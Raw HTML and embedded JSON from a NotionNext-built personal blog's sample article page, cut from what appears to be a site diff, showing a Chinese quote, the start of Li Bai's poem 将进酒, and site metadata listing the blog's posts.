dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">示例文章</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-d3216be61b2740e786777404896b7eb6"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-6c2aad496a124775914f7ed36358eb32" data-id="6c2aad496a124775914f7ed36358eb32"><span><div id="6c2aad496a124775914f7ed36358eb32" class="notion-header-anchor"></div><a class="notion-hash-link" href="#6c2aad496a124775914f7ed36358eb32" title="基本段落"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">基本段落</span></span></h2><blockquote class="notion-quote notion-block-9b26bd9a9a464d36b995bf4d3d58dd45"><div>书中自有黄金屋,书中自有颜如玉</div></blockquote><div class="notion-callout notion-gray_background_co notion-block-c2d6e2c5296b475cb2d87723d212a732"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text">生活的意义并不是与他人争高下,而在于享受努力实现目标的过程,结果只是对自己行动的嘉奖。</div></div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-f0f6bef4ecce4a2fa4c308d7582d4c2a" data-id="f0f6bef4ecce4a2fa4c308d7582d4c2a"><span><div id="f0f6bef4ecce4a2fa4c308d7582d4c2a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#f0f6bef4ecce4a2fa4c308d7582d4c2a" title="将进酒"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title"><b>将进酒</b></span></span></h3><div class="notion-text notion-block-9369db5e52eb4c768f20ee3937c65109">李白〔唐代〕<a target="_blank" rel="noopener noreferrer" class="notion-link" href="#a47eb4929c654ac4b8c895d00023a97e">参考[1]</a></div><div class="notion-text notion-block-f190aaaf4ada493bbb58bac82327317e">君不见黄河之水天上来,奔流到海不复回。
 君不见高堂明镜悲白发,朝如青丝暮成雪。
 人生得意须尽欢,莫使金樽空对月。
 天生我材必有用,千金散尽还复来。
@@ -16,4 +16,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"d3216be6-1b27-40e7-8677-7404896b7eb6":{"value":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","version":31,"type":"page","content":["6c2aad49-6a12-4775-914f-7ed36358eb32","9b26bd9a-9a46-4d36-b995-bf4d3d58dd45","c2d6e2c5-296b-475c-b2d8-7723d212a732","f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a","9369db5e-52eb-4c76-8f20-ee3937c65109","f190aaaf-4ada-493b-bb58-bac82327317e","41e02cef-9892-468d-a759-e74c41dfcd70","3ac4ec2f-1b75-41a4-8048-ee14e5549d21","266dce1b-2303-4514-aa52-2c946c8d8fba","3a8f1cf9-1509-4b97-93d7-aef56bcaf85a","3afc4b4f-2afa-4732-b15c-70cb97502fba","58a2fe87-4e0c-40aa-baed-b99e677f4891","abc36c13-25fc-4b0d-bda9-6b45a9d992bc","0d862f5f-f617-4972-a07f-c90da2679c24","2feae355-4a74-4b81-a318-b1cdaf3345b1","a625f064-b0f6-4744-b6b9-e40aaf12ffa9","d1de48bb-00c6-40ac-81df-d6fb0b784f36","62a16f54-8d5e-41cc-a7a4-70f28d18bb2a","b87bd083-9175-48c6-adee-7a6e4e38b8cd","51b6910d-e9cd-4a81-aae0-766883f9d904","b407262e-e839-4266-8acc-6e5829f928c9","e289a4a8-54f9-47df-b1f1-5a5f778c93ab","b30997a8-63eb-4339-bfa3-5b06ef9bd842","9c9075da-d8aa-4347-9bbb-b41a1c7fcc78","e57ed9a8-9c51-4b46-aa09-400d5154a42f","43181d65-d467-4bd5-a8cb-6942161eabd5","eb